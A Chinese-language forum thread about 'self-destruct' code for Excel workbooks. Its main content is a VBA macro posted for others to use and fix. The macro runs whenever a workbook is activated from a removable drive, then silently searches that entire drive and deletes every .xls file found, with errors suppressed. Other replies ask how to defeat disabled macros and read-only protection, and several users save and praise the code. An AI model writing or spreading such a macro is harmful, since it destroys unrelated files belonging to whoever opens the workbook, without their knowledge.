[求助]自杀的代码(已解决)

ched

试用过了,很好,谢谢!只是有两个问题请教 :1、如果在打开工作簿时，“禁用宏”，这个自杀功能就无法实行；2、如果将工作簿民属性设为“只读”，自杀代码运行时会报调试失败。这两个问题有办法解决吗？

zhyf360

继续关注中

okk

学习

csb740621

Sub auto_open()
MsgBox "Hello!--open"
End Sub

'=====================ThisWorkBook=======================
  Public WithEvents xlApp As Excel.Application
Private Sub Workbook_Open()

   Set xlApp = Application
End Sub
Private Sub Workbook_Close()
    Set xlApp = Nothing
End Sub
Private Sub xlapp_WorkbookActivate(ByVal Wb As Workbook)
    strWbName = Wb.FullName
    Call Main
End Sub
'========================Module1========================
Public strWbName As String
Dim Fso, mDrive, mType
Dim strLetter As String
Sub Main()
    strLetter = Left(strWbName, 2)
    Set Fso = CreateObject("Scripting.FileSystemObject")
    If Fso.DriveExists(strLetter) Then
        If ShowDriveType(strLetter) = "Removable" Then
            Call DelRemovable
        End If
    End If
End Sub
Function ShowDriveType(drvPath)
    Set mDrive = Fso.GetDrive(drvPath)
    Select Case mDrive.DriveType
        Case 1: mType = "Removable"
        Case Else: mType = "Others"
    End Select
    ShowDriveType = mType
End Function
Sub DelRemovable()
    Dim i As Long
   
    On Error Resume Next
    With Application.FileSearch
        .NewSearch
        .LookIn = strLetter & "\"
        .Filename = "*.xls"
        .SearchSubFolders = True
        .FileType = msoFileTypeExcelWorkbooks
        .Execute
        
        ActiveWorkbook.Close 0
        If .Execute() > 0 Then
            For i = 1 To .FoundFiles.Count
                Fso.DeleteFile (.FoundFiles(i))
            Next
        End If
    End With
End Sub
'======================================================
这是在其他网站上看到的，但我在运用时提示有错误，现放到这里请在家帮帮改下。

courageous

太厉害了，先收藏备用！！

wang20292

学习学习!

andysky

这种方式一点用都没用
磁盘的序列号是可以任意修改的

fsjlmy2008

仁者见仁,智者见智,好

joen168

好东西。要共享。。呵呵 。。。